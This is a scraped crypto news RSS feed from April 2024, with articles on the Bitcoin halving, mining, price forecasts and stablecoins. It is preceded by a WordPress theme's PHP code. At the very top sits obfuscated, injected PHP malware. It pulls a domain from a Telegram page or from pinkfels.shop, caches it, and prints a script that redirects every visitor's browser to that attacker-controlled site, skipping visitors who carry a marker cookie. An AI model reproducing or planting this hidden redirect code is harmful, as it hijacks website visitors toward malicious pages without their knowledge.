if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Bitcoin – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Wed, 17 Apr 2024 00:50:06 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Bitcoin – CoinsMegaNews https://coinsmeganews.com 32 32 Core Scientific Set to Boost Texas Mining Facility by 72 MW Ahead of Bitcoin Halving https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/ https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/#respond Wed, 17 Apr 2024 00:50:06 +0000 https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/ [ad_1]

Core Scientific Set to Boost Texas Mining Facility by 72 MW Ahead of Bitcoin HalvingWith just over three days remaining until the halving, Core Scientific has announced its plans to enhance its Texas mining facility by an additional 72 megawatts. This project is scheduled for completion by the end of the second quarter of 2024. This expansion aims to augment the company’s existing hashpower capacity. Core Scientific Plans for […]

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]]> https://coinsmeganews.com/core-scientific-set-to-boost-texas-mining-facility-by-72-mw-ahead-of-bitcoin-halving/feed/ 0 Bitcoin’s Scarcity After the Halving to Result in Steady Bull Run https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/#respond Wed, 17 Apr 2024 00:28:17 +0000 https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ [ad_1]

Bitcoin approaches another critical milestone — its scheduled halving event. It is a programmed reduction in the rewards miners receive for verifying transactions.

The halving is a pivotal event that has historically influenced Bitcoin’s value and the broader cryptocurrency market.

Increasing Scarcity Meets Growing Demand

The halving occurs approximately every four years and is part of Bitcoin’s unique monetary policy. It mimics the scarcity and value preservation of precious metals like gold.

“Over the past various cycles, we’ve seen more and more demand for Bitcoin, in contrast to the supply staying the same. So, if you look at it from a macroeconomic standpoint, more demand and the same supply drive the price up,” Sheraz Ahmed, Managing Partner at STORM Partners, told BeInCrypto.

Indeed, as the halving reduces the rate at which new BTC are generated, it adjusts the supply side of the equation. This has traditionally led to a bullish sentiment among investors. Essentially, the reduced flow of new coins intensifies competition for existing ones.

Read more: Bitcoin Halving Countdown

The forthcoming halving could further exacerbate this trend, given the increasing involvement of large institutional investors through Bitcoin Exchange-Traded Funds (ETFs).

“If you look at Bitcoin ETFs in the US, they are aggregating a lot of the demand from players such as pension funds and kind of the smaller institutional players. They are buying a lot of Bitcoin, sometimes as much as they can, on a daily basis. The fact that the halving will cause less Bitcoin to be minted will mean it will be harder for them to fill that demand,” Ahmed added.

Bitcoin ETF Historical Holdings
Bitcoin ETF Historical Holdings. Source: CryptoQuant

Likewise, countries like El Salvador have already started diversifying part of their treasury assets into Bitcoin. This hints at a broader acceptance and normalization of Bitcoin as a mainstream financial asset. Furthermore, governmental involvement could amplify demand pressures post-halving, as noted by STORM’s analysts.

Bitcoin’s Steady Bull Run After the Halving

This massive buy-in could stabilize Bitcoin’s price fluctuations. “I don’t think we’ll see a dramatic swing up or down. However, it’s going to be quite constant. It will constantly grow,” Ahmed suggested, indicating a belief in the maturation of the market and a less volatile Bitcoin.

Read more: What Happened at the Last Bitcoin Halving? Predictions for 2024

While some market participants use halving events to forecast Bitcoin price movements and trading strategies, they also recognize it as a time to reflect on Bitcoin’s technological and regulatory advancements. Many jurisdictions craft regulatory frameworks that are more favorable to Bitcoin than other speculative crypto assets, which bodes well for its mainstream adoption.

For this reason, there is a growing belief that Bitcoin should be reclassified away from being just another cryptocurrency.

“I don’t believe Bitcoin should be in the league of other cryptocurrencies. Bitcoin is its own beast, and it’s very different to Ethereum and the others. None of them are competing with it. Bitcoin has around 52% of the market share today. I’m a big believer that it should graduate from the “school of cryptocurrencies” and become an actual asset that can be traded with other commodities such as gold, silver, copper, and the like,” Ahmed concluded.

Bitcoin vs. Other Major Assets
Bitcoin vs. Other Major Assets. Source: Visual Capitalist

Looking forward, the cap on Bitcoin’s total supply — only 21 million coins can ever be mined — poses fascinating economic inquiries about what happens when all coins are minted. This scarcity could lead to significant shifts in Bitcoin’s role in both financial and technological sectors.

Disclaimer

Following the Trust Project guidelines, this feature article presents opinions and perspectives from industry experts or individuals. BeInCrypto is dedicated to transparent reporting, but the views expressed in this article do not necessarily reflect those of BeInCrypto or its staff. Readers should verify information independently and consult with a professional before making decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/feed/ 0 Umoja Partners With Merlin Chain to Launch Bitcoin’s First High-Yield Synthetic Dollar https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/ https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/#respond Tue, 16 Apr 2024 23:37:27 +0000 https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/ [ad_1]

Umoja Partners With Merlin Chain to Launch Bitcoin's First High-Yield Synthetic DollarThe smart money protocol Umoja has joined forces with the Bitcoin layer two (L2) initiative, Merlin Chain, to roll out a Bitcoin-based high-yield synthetic dollar. The newly introduced stablecoin is engineered to uphold a self-sustaining peg via transparent, onchain trading techniques developed by Umoja. Merlin Chain and Umoja Reveal USDb: The New High-Yield Synthetic Dollar […]

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]]> https://coinsmeganews.com/umoja-partners-with-merlin-chain-to-launch-bitcoins-first-high-yield-synthetic-dollar/feed/ 0 Bear Market Blues Return as Analyst Predicts 30% Bitcoin Correction to $51K https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/#respond Tue, 16 Apr 2024 12:26:26 +0000 https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ [ad_1]

The bull market euphoria appears to have come to a screeching halt as the crypto market correction continues and digital assets keep dumping.

On April 16, prominent market analyst “Cold Blooded Shiller” told his 269,000 followers on X that Bitcoin is “still the cloud that hangs over crypto.”

BTC has retreated 15% from its March 14 all-time high, but historical market cycles have seen corrections of more than 30%.

This could potentially send BTC prices back to around $51,000, which could send the rest of the altcoins into an even deeper freefall.

Correction Could Deepen

There was a 25% correction early in the 2021 cycle, which sent BTC prices tumbling from more than $40,000 to $30,000 within a month. It also dumped 53% later that year in a pullback from $63,000 in April to $30,000 in July.

So, a 30% retracement from $73,000 would take prices back to the $50,000 level, which wouldn’t seem out of place considering previous market movements.

On April 15, market analyst Willy Woo said that if support at $58,900 breaks, “we move to a bear market.”

Markets are “still weeks away from a proper bullish environment,” in the long term, he added.

Glassnode analyst “Checkmatey” also mentioned bear markets, stating that they start “when too many people buy too much coin, too high.” However, he remained a little more optimistic, stating that the market does not appear “top heavy.”

Moreover, the Bitcoin Fear and Greed Index remains in the green zone, which means it is far too early to call a bear market, given the overall sentiment.

Altcoins Bleeding

Analyst Luke Martin observed that many of the altcoins have nearly erased six months of gains in just a couple of weeks. “Some are only 15-20% away from bear market cycle lows,” he added.

Meanwhile, ‘Rekt Capital’ pointed out that there has always been a pre-halving retrace, and this cycle is no different.

BTC prices were trading down 2.8% on the day at $63,354 at the time of writing. The wider market had dropped 3% with total capitalization down to $2.41 trillion as altcoins got hit harder.

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]]> https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/feed/ 0 Bank of Russia Supports Cryptocurrency Usage for International Settlements https://coinsmeganews.com/bank-of-russia-supports-cryptocurrency-usage-for-international-settlements/ https://coinsmeganews.com/bank-of-russia-supports-cryptocurrency-usage-for-international-settlements/#respond Tue, 16 Apr 2024 08:16:40 +0000 https://coinsmeganews.com/bank-of-russia-supports-cryptocurrency-usage-for-international-settlements/ [ad_1]

Bank of Russia Supports Cryptocurrency Adoption for International SettlementsThe Bank of Russia has announced that it will support accelerating the adoption of cryptocurrency payments for international settlements. According to Elvira Nabiullina, governor of the Bank of Russia, these crypto-based payments must be launched in a sandbox-style experimental regime. In contrast, payments with national digital assets will be launched without similar precautions. Bank of […]

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]]> https://coinsmeganews.com/bank-of-russia-supports-cryptocurrency-usage-for-international-settlements/feed/ 0 HSBC to Expand Tokenized Asset Offerings — CEO Says He’s ‘Very Comfortable’ With Tokenization https://coinsmeganews.com/hsbc-to-expand-tokenized-asset-offerings-ceo-says-hes-very-comfortable-with-tokenization/ https://coinsmeganews.com/hsbc-to-expand-tokenized-asset-offerings-ceo-says-hes-very-comfortable-with-tokenization/#respond Tue, 16 Apr 2024 06:30:40 +0000 https://coinsmeganews.com/hsbc-to-expand-tokenized-asset-offerings-ceo-says-hes-very-comfortable-with-tokenization/ [ad_1]

HSBC to Expand Tokenized Asset Offerings — CEO Says He's 'Very Comfortable' With TokenizationHong Kong’s leading commercial bank, HSBC, continues to invest in its tokenization product lineup. The bank’s CEO, Noel Quinn, stated that he is “very comfortable with the concept of tokenization.” He indicated that the bank will look at ways of tokenizing assets backed by “real” assets. HSBC’s CEO Discusses Tokenization Plans Hong Kong’s leading commercial […]

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]]> https://coinsmeganews.com/hsbc-to-expand-tokenized-asset-offerings-ceo-says-hes-very-comfortable-with-tokenization/feed/ 0 Short Sellers Target Bitcoin Miners as Reward Halving Nears, $2 Billion at Stake https://coinsmeganews.com/short-sellers-target-bitcoin-miners-as-reward-halving-nears-2-billion-at-stake/ https://coinsmeganews.com/short-sellers-target-bitcoin-miners-as-reward-halving-nears-2-billion-at-stake/#respond Tue, 16 Apr 2024 00:47:43 +0000 https://coinsmeganews.com/short-sellers-target-bitcoin-miners-as-reward-halving-nears-2-billion-at-stake/ [ad_1]

Short Sellers Target Bitcoin Miners as Reward Halving Nears, $2 Billion at StakeA recent report highlights that the collective short interest in stocks from 15 bitcoin mining companies has approached the $2 billion mark. The performance of these mining stocks has declined compared to their stronger start earlier this year, coinciding with the proximity of just 663 blocks remaining until the next reward halving. Impending Bitcoin Halving […]

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]]> https://coinsmeganews.com/short-sellers-target-bitcoin-miners-as-reward-halving-nears-2-billion-at-stake/feed/ 0 Former Bitmex Chief Expects Crypto Prices to ‘Slump’ Around the Bitcoin Halving https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/ https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/#respond Tue, 16 Apr 2024 00:24:40 +0000 https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/ [ad_1]

Former Bitmex CEO Arthur Hayes has explained why he believes that “bitcoin and crypto prices in general will slump around the halving.” He added that from now until May 1, he “will be in a no-trade zone,” emphasizing that “April will experience extreme weakness in risky asset markets.” Bitcoin Price Will ‘Slump Around the Halving,’ […]

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]]> https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/feed/ 0 USDE and FDUSD Experience Brief Depegs Amid Saturday’s Crypto Market Shake-Up https://coinsmeganews.com/usde-and-fdusd-experience-brief-depegs-amid-saturdays-crypto-market-shake-up/ https://coinsmeganews.com/usde-and-fdusd-experience-brief-depegs-amid-saturdays-crypto-market-shake-up/#respond Mon, 15 Apr 2024 23:32:17 +0000 https://coinsmeganews.com/usde-and-fdusd-experience-brief-depegs-amid-saturdays-crypto-market-shake-up/ [ad_1]

USDE and FDUSD Experience Brief Depegs Amid Saturday’s Crypto Market Shake-UpThe fifth-largest stablecoin in the crypto economy by market capitalization, Ethena’s USDE, temporarily detached from its peg on Saturday amid market declines. Data reveals that the token, designed to mirror the U.S. dollar’s value, declined to $0.965 each. Similarly, the market witnessed the fourth largest stablecoin, FDUSD, fall to a low of $0.9557 per coin. […]

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]]> https://coinsmeganews.com/usde-and-fdusd-experience-brief-depegs-amid-saturdays-crypto-market-shake-up/feed/ 0 Samsung secures $6.4B grant from US gov’t to expand chip manufacturing in Texas https://coinsmeganews.com/samsung-secures-6-4b-grant-from-us-govt-to-expand-chip-manufacturing-in-texas/ https://coinsmeganews.com/samsung-secures-6-4b-grant-from-us-govt-to-expand-chip-manufacturing-in-texas/#respond Mon, 15 Apr 2024 17:18:09 +0000 https://coinsmeganews.com/samsung-secures-6-4b-grant-from-us-govt-to-expand-chip-manufacturing-in-texas/ [ad_1]

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Samsung, the South Korean manufacturing giant, has secured $6.4 billion worth of grants from the United States government to expand its chip manufacturing facilities in Texas. The funding, which comes from the 2022 Chips and Science Act, aims to boost chip production for the automotive, aerospace, and defense industries, as well as to bolster national security, according to a report by Reuters on April 15.

“[The grants] will allow the U.S. to once again lead the world, not just in [semiconductor design], which is where we do now lead, but also in manufacturing, advanced packaging, and research and development.”

In addition to the government grants, Samsung plans to invest another $45 billion in the expansion of its Texas chip manufacturing facility by the end of 2030. This move comes at a time when the global chip shortage continues to impact various industries, including the rapidly growing artificial intelligence (AI) sector.

OpenAI, the creator of the popular AI chatbot ChatGPT, is reportedly planning to produce its own semiconductor chips for its AI applications. The company may be receiving funding from the United Arab Emirates state-backed group MGX to support this endeavor, highlighting the increasing demand for specialized chips in the AI industry.

The chip shortage has also become a pressing concern for the Bitcoin mining industry, particularly as the upcoming Bitcoin halving approaches. In its 2023 annual report, Bitcoin mining firm Riot Platforms outlined 12 continued risks for Bitcoin mining profitability, with the shortage of chip supply being among the most significant. The report also stated that the ongoing global supply chain, as compounded by the increased demand for chips has created a shortfall for semiconductors.

Similarly, US Bitcoin miner CleanSpark cited potential “cryptocurrency hardware disruption” and possible difficulties obtaining new hardware in its 10-K filing for 2023. The chip shortage could impact the profitability and growth of Bitcoin mining operations, as miners rely on specialized hardware to maintain their competitive edge.

As the government and private companies like Samsung work to address the chip shortage through increased domestic manufacturing and significant investments, the Bitcoin mining industry will need to navigate the challenges posed by the limited supply of semiconductors. The upcoming Bitcoin halving, which is expected to occur this week, may further exacerbate the pressure on mining firms to secure the necessary hardware to remain profitable in an increasingly competitive environment.

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